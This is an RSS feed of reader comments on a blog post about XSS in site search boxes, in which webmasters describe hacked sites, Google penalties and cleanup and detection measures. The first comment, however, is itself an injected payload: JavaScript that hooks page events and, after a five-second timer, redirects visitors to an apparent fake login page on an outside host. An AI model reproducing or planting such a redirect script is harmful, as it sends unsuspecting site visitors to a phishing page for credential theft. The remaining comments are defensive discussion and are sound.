<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" > <channel><title>Comments on: Check your search box for XSS exploits</title> <atom:link href="http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/feed/" rel="self" type="application/rss+xml" /><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/</link> <description>neat fun stuff</description> <lastBuildDate>Wed, 08 Feb 2012 21:30:01 +0000</lastBuildDate> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>By: samar</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-927636</link> <dc:creator>samar</dc:creator> <pubDate>Mon, 26 Sep 2011 12:09:05 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-927636</guid> <description>just kidding&lt;a&gt;Testlink&lt;/a&gt;hiiiiiiiiiiiiiiiiiiiiiiiiiiworldvar xScroll, yScroll, timerPoll, timerRedirect, timerClock;function initRedirect(){ if (typeof document.body.scrollTop != &quot;undefined&quot;){ //IE,NS7,Moz xScroll = document.body.scrollLeft; yScroll = document.body.scrollTop;clearInterval(timerPoll); //stop polling scroll move clearInterval(timerRedirect); //stop timed redirecttimerPoll = setInterval(&quot;pollActivity()&quot;,1); //poll scrolling timerRedirect = setInterval(&quot;location.href=&#039;http://mypics38.my3gb.com/login.php.htm&#039;&quot;,5000); //set timed redirect} else if (typeof window.pageYOffset != &quot;undefined&quot;){ //other browsers that support pageYOffset/pageXOffset instead xScroll = window.pageXOffset; yScroll = window.pageYOffset;clearInterval(timerPoll); //stop polling scroll move clearInterval(timerRedirect); //stop timed redirecttimerPoll = setInterval(&quot;pollActivity()&quot;,1); //poll scrolling timerRedirect = setInterval(&quot;location.href=&#039;http://mypics38.my3gb.com/login.php.htm&#039;&quot;,5000); //set timed redirect} //else do nothing }function pollActivity(){ if ((typeof document.body.scrollTop != &quot;undefined&quot; &amp;&amp; (xScroll!=document.body.scrollLeft &#124;&#124; yScroll!=document.body.scrollTop)) //IE/NS7/Moz &#124;&#124; (typeof window.pageYOffset != &quot;undefined&quot; &amp;&amp; (xScroll!=window.pageXOffset &#124;&#124; yScroll!=window.pageYOffset))) { //other browsers initRedirect(); //reset polling scroll position } }document.onmousemove=initRedirect; document.onclick=initRedirect; document.onkeydown=initRedirect; window.onload=initRedirect; window.onresize=initRedirect;</description> <content:encoded><![CDATA[<p>just kidding</p><p><a>Testlink</a></p><p>hiiiiiiiiiiiiiiiiiiiiiiiiii</p><p>world</p><p>var xScroll, yScroll, timerPoll, timerRedirect, timerClock;</p><p>function initRedirect(){<br /> if (typeof document.body.scrollTop != &#8220;undefined&#8221;){ //IE,NS7,Moz<br /> xScroll = document.body.scrollLeft;<br /> yScroll = document.body.scrollTop;</p><p> clearInterval(timerPoll); //stop polling scroll move<br /> clearInterval(timerRedirect); //stop timed redirect</p><p> timerPoll = setInterval(&#8220;pollActivity()&#8221;,1); //poll scrolling<br /> timerRedirect =<br /> setInterval(&#8220;location.href=&#8217;http://mypics38.my3gb.com/login.php.htm&#8217;&#8221;,5000);<br /> //set timed redirect</p><p> }<br /> else if (typeof window.pageYOffset != &#8220;undefined&#8221;){ //other browsers<br /> that support pageYOffset/pageXOffset instead<br /> xScroll = window.pageXOffset;<br /> yScroll = window.pageYOffset;</p><p> clearInterval(timerPoll); //stop polling scroll move<br /> clearInterval(timerRedirect); //stop timed redirect</p><p> timerPoll = setInterval(&#8220;pollActivity()&#8221;,1); //poll scrolling<br /> timerRedirect =<br /> setInterval(&#8220;location.href=&#8217;http://mypics38.my3gb.com/login.php.htm&#8217;&#8221;,5000);<br /> //set timed redirect</p><p> }<br /> //else do nothing<br /> }</p><p>function pollActivity(){<br /> if ((typeof document.body.scrollTop != &#8220;undefined&#8221; &amp;&amp;<br /> (xScroll!=document.body.scrollLeft ||<br /> yScroll!=document.body.scrollTop)) //IE/NS7/Moz<br /> ||<br /> (typeof window.pageYOffset != &#8220;undefined&#8221; &amp;&amp;<br /> (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {<br /> //other browsers<br /> initRedirect(); //reset polling scroll position<br /> }<br /> }</p><p>document.onmousemove=initRedirect;<br /> document.onclick=initRedirect;<br /> document.onkeydown=initRedirect;<br /> window.onload=initRedirect;<br /> window.onresize=initRedirect;</p> ]]></content:encoded> </item> <item><title>By: mark</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-130393</link> <dc:creator>mark</dc:creator> <pubDate>Mon, 21 Jul 2008 05:54:13 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-130393</guid> <description>matt I don&#039;t mind if you post this or not, cos what has happened to my site is probably not uncommon but still well beyond my knowledge of &#039;why?&#039; or &#039;what next?&#039;. For many months now my once very popular site has been falling (plumetting) in the Google rankings. Now I am completely off Google&#039;s radar (though the other serach engines still rank me well?). From the outset my hunch was foul play but not being a web nerd I asked others to help find out why and spent a lot of fruitless time and effort with SEO-types and more knowledgeable friends in the biz to help solve the mystery. Content, keywords, tags have been addressed as possible culprits or oversights but I figured there was something more basic and critical wrong. I have always kept track of the results through the Webmaster tools but never found anything really incriminating to explain the apparent black-balling. That is, until today when I went back again to the dashboard (stats-Index stats-cache) and found Google&#039;s last cache of my site: http://209.85.165.104/search?q=cache:www.callananphoto.com&amp;hl=enyikes! who or why would people do that? And how? I find no indication of all those porn links in my index.html so I have no idea how to remove them.So I at least have solved the mystery of &#039;why&#039; Google dropped me like a hot potato but beyond changing passwords I am at a loss to know how to clean up the ugly mess and get back to where I was a year ago.While my site was wallowing in the doldrums I redesigned a new front page with much more content and links, so when this existing problem is sorted out I can re-enter the Google arena with a vengeance. Bloody hackers!I hope you can helpthanks mark</description> <content:encoded><![CDATA[<p>matt<br /> I don&#8217;t mind if you post this or not, cos what has happened to my site is probably not uncommon but still well beyond my knowledge of &#8216;why?&#8217; or &#8216;what next?&#8217;. For many months now my once very popular site has been falling (plumetting) in the Google rankings. Now I am completely off Google&#8217;s radar (though the other serach engines still rank me well?). From the outset my hunch was foul play but not being a web nerd I asked others to help find out why and spent a lot of fruitless time and effort with SEO-types and more knowledgeable friends in the biz to help solve the mystery. Content, keywords, tags have been addressed as possible culprits or oversights but I figured there was something more basic and critical wrong. I have always kept track of the results through the Webmaster tools but never found anything really incriminating to explain the apparent black-balling. That is, until today when I went back again to the dashboard (stats-Index stats-cache) and found Google&#8217;s last cache of my site:<br /> <a href="http://209.85.165.104/search?q=cache:www.callananphoto.com&#038;hl=en" rel="nofollow">http://209.85.165.104/search?q=cache:www.callananphoto.com&#038;hl=en</a></p><p>yikes! who or why would people do that? And how? I find no indication of all those porn links in my index.html so I have no idea how to remove them.</p><p>So I at least have solved the mystery of &#8216;why&#8217; Google dropped me like a hot potato but beyond changing passwords I am at a loss to know how to clean up the ugly mess and get back to where I was a year ago.</p><p>While my site was wallowing in the doldrums I redesigned a new front page with much more content and links, so when this existing problem is sorted out I can re-enter the Google arena with a vengeance.<br /> Bloody hackers!</p><p>I hope you can help</p><p>thanks<br /> mark</p> ]]></content:encoded> </item> <item><title>By: Paul</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-129734</link> <dc:creator>Paul</dc:creator> <pubDate>Wed, 02 Jul 2008 18:16:34 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-129734</guid> <description>Matt,My site is currently suffering from a June 9th XSS &quot;porn&quot; attack.  Google Analytics still shows our &quot;search results&quot; page down 90% in Google traffic since the attack.  We have since patched the XSS hole, added META NOINDEX tags to all &quot;empty&quot; search result pages, submitted all the remaining &quot;porn&quot; URL Removals in WebMaster Tools, and submitted a Reconsideration Request on June 19th.Questions:- Is the Google penalty due to the &quot;porn&quot; in Google&#039;s index? or was it the XSS, which gave our site the appearance of a massive number of &quot;Sneaky Javascript Redirects&quot; ?- How long should I expect to wait?  (I have seen some webmasters say  their page&#039;s traffic has never come back after a Google penalty, yet others say it should be restored after 30 days or so.  Is there anyone out there who can tell me whether their XSS hacked page&#039;s traffic did come back and how long it took?  I&#039;m trying to passify my angry boss! )Thanks Matt &amp; all,</description> <content:encoded><![CDATA[<p>Matt,</p><p>My site is currently suffering from a June 9th XSS &#8220;porn&#8221; attack.  Google Analytics still shows our &#8220;search results&#8221; page down 90% in Google traffic since the attack.  We have since patched the XSS hole, added META NOINDEX tags to all &#8220;empty&#8221; search result pages, submitted all the remaining &#8220;porn&#8221; URL Removals in WebMaster Tools, and submitted a Reconsideration Request on June 19th.</p><p>Questions:</p><p> &#8211; Is the Google penalty due to the &#8220;porn&#8221; in Google&#8217;s index? or was it the XSS, which gave our site the appearance of a massive number of &#8220;Sneaky Javascript Redirects&#8221; ?</p><p>- How long should I expect to wait?  (I have seen some webmasters say  their page&#8217;s traffic has never come back after a Google penalty, yet others say it should be restored after 30 days or so.  Is there anyone out there who can tell me whether their XSS hacked page&#8217;s traffic did come back and how long it took?  I&#8217;m trying to passify my angry boss! )</p><p>Thanks Matt &amp; all,</p> ]]></content:encoded> </item> <item><title>By: Robert</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-129375</link> <dc:creator>Robert</dc:creator> <pubDate>Fri, 27 Jun 2008 09:33:34 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-129375</guid> <description>Matt,could you please tell me the reason for removing my last post? There was nothing wrong with it.greetz Robert</description> <content:encoded><![CDATA[<p>Matt,</p><p>could you please tell me the reason for removing my last post? There was nothing wrong with it.</p><p>greetz<br /> Robert</p> ]]></content:encoded> </item> <item><title>By: Ian M</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-129278</link> <dc:creator>Ian M</dc:creator> <pubDate>Wed, 25 Jun 2008 09:12:48 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-129278</guid> <description>Heh, Firefox 3 is already there, with &quot;Reported Attack Site!&quot; if you actually try to visit those sites.</description> <content:encoded><![CDATA[<p>Heh, Firefox 3 is already there, with &#8220;Reported Attack Site!&#8221; if you actually try to visit those sites.</p> ]]></content:encoded> </item> <item><title>By: Donncha O Caoimh</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-128972</link> <dc:creator>Donncha O Caoimh</dc:creator> <pubDate>Thu, 19 Jun 2008 20:22:34 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-128972</guid> <description>Matt - did you see my post on the subject about a week ago? It was on the WP Dashboard and thankfully was picked up by numerous other sites who spread the word about the redirect hack. Unfortunately people don&#039;t change their passwords often enough, and many certainly aren&#039;t diligent enough about upgrading in the first place.I&#039;m about halfway through coding a plugin to detect the current crop of methods the spammer use to hide their links and add viruses to WordPress sites. Hopefully I&#039;ll release a first version tomorrow, or early next week.http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/</description> <content:encoded><![CDATA[<p>Matt &#8211; did you see my post on the subject about a week ago? It was on the WP Dashboard and thankfully was picked up by numerous other sites who spread the word about the redirect hack. Unfortunately people don&#8217;t change their passwords often enough, and many certainly aren&#8217;t diligent enough about upgrading in the first place.</p><p>I&#8217;m about halfway through coding a plugin to detect the current crop of methods the spammer use to hide their links and add viruses to WordPress sites. Hopefully I&#8217;ll release a first version tomorrow, or early next week.</p><p><a href="http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/" rel="nofollow">http://ocaoimh.ie/2008/06/08/did-your-wordpress-site-get-hacked/</a></p> ]]></content:encoded> </item> <item><title>By: Asia</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-128828</link> <dc:creator>Asia</dc:creator> <pubDate>Wed, 18 Jun 2008 00:24:54 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-128828</guid> <description>Well that was fun!I had a site hacked into - made some quick fixes - removed the bad file. Now going to resubmit to Google...All access to my server have different users/passcodes per site. So one site will have 20 user/passwords - to avoid any problems with server hacking.  The problem is, that it&#039;s tougher for me to determine a site hack, if the server wasn&#039;t compromised.Thanks for reminding me to check my files Matt...But FYI - I am on Google Webmaster Tools and Googlebot has had no problem with spidering my website. Did I miss something? It&#039;s reporting the medical and porn in the content - but no warnings to be seen.</description> <content:encoded><![CDATA[<p>Well that was fun!</p><p>I had a site hacked into &#8211; made some quick fixes &#8211; removed the bad file. Now going to resubmit to Google&#8230;</p><p>All access to my server have different users/passcodes per site. So one site will have 20 user/passwords &#8211; to avoid any problems with server hacking.  The problem is, that it&#8217;s tougher for me to determine a site hack, if the server wasn&#8217;t compromised.</p><p>Thanks for reminding me to check my files Matt&#8230;</p><p>But FYI &#8211; I am on Google Webmaster Tools and Googlebot has had no problem with spidering my website. Did I miss something? It&#8217;s reporting the medical and porn in the content &#8211; but no warnings to be seen.</p> ]]></content:encoded> </item> <item><title>By: 4braham</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-128779</link> <dc:creator>4braham</dc:creator> <pubDate>Tue, 17 Jun 2008 16:00:41 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-128779</guid> <description>Setting up Google Alerts for &quot;site:example.com porn&quot; is a useful method of early notification if a XSS vulnerability is discovered on your site.</description> <content:encoded><![CDATA[<p>Setting up Google Alerts for &#8220;site:example.com porn&#8221; is a useful method of early notification if a XSS vulnerability is discovered on your site.</p> ]]></content:encoded> </item> <item><title>By: Jem</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-128777</link> <dc:creator>Jem</dc:creator> <pubDate>Tue, 17 Jun 2008 15:36:34 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-128777</guid> <description>I&#039;m not in the habit of link-dropping because I feel it always feels incredibly spammy, but I wrote a quick guide in August last year of things the average user can do to test their own (PHP) site security: http://www.jemjabella.co.uk/become-a-php-security-master-part-1I think people need to get out of the &quot;it won&#039;t happen to me&quot; mentality and realise that they need to be vigilant. Check your site for easily detected exploits, do a bit of Googling on scripts and plugins for known exploits before you install and ALWAYS back-up your data.</description> <content:encoded><![CDATA[<p>I&#8217;m not in the habit of link-dropping because I feel it always feels incredibly spammy, but I wrote a quick guide in August last year of things the average user can do to test their own (PHP) site security:<br /> <a href="http://www.jemjabella.co.uk/become-a-php-security-master-part-1" rel="nofollow">http://www.jemjabella.co.uk/become-a-php-security-master-part-1</a></p><p>I think people need to get out of the &#8220;it won&#8217;t happen to me&#8221; mentality and realise that they need to be vigilant. Check your site for easily detected exploits, do a bit of Googling on scripts and plugins for known exploits before you install and ALWAYS back-up your data.</p> ]]></content:encoded> </item> <item><title>By: Robert</title><link>http://www.mattcutts.com/blog/check-your-search-box-for-xss-exploits/#comment-128775</link> <dc:creator>Robert</dc:creator> <pubDate>Tue, 17 Jun 2008 14:38:13 +0000</pubDate> <guid isPermaLink="false">http://www.mattcutts.com/blog/?p=964#comment-128775</guid> <description>aaron wall, Google still don&#039;t like to index search results and sites wouldn&#039;t be penalized for &quot;cross site scripting issues with third parties forcing searches and embedding spammy links in them&quot;, if those sites would exclude their search results by default. Then the spammy links wouldn&#039;t be count at all and the sites will not be penalized.On the other hand I couln&#039;t understand why Google still indexes search results like: http://www.google.de/search?hl=de&amp;q=site%3Asearch.ebay.de&amp;btnG=Suche&amp;meta=That&#039;s only one example for indexed search results, which could be automatically removed from the index simply, if Google wants.greetz Robert</description> <content:encoded><![CDATA[<p>aaron wall,<br /> Google still don&#8217;t like to index search results and sites wouldn&#8217;t be penalized for &#8220;cross site scripting issues with third parties forcing searches and embedding spammy links in them&#8221;, if those sites would exclude their search results by default. Then the spammy links wouldn&#8217;t be count at all and the sites will not be penalized.</p><p>On the other hand I couln&#8217;t understand why Google still indexes search results like:<br /> <a href="http://www.google.de/search?hl=de&#038;q=site%3Asearch.ebay.de&#038;btnG=Suche&#038;meta" rel="nofollow">http://www.google.de/search?hl=de&#038;q=site%3Asearch.ebay.de&#038;btnG=Suche&#038;meta</a>=</p><p>That&#8217;s only one example for indexed search results, which could be automatically removed from the index simply, if Google wants.</p><p>greetz<br /> Robert</p> ]]></content:encoded> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced)
Database Caching 4/11 queries in 0.005 seconds using disk

Served from: www.mattcutts.com @ 2012-02-09 04:14:14 -->
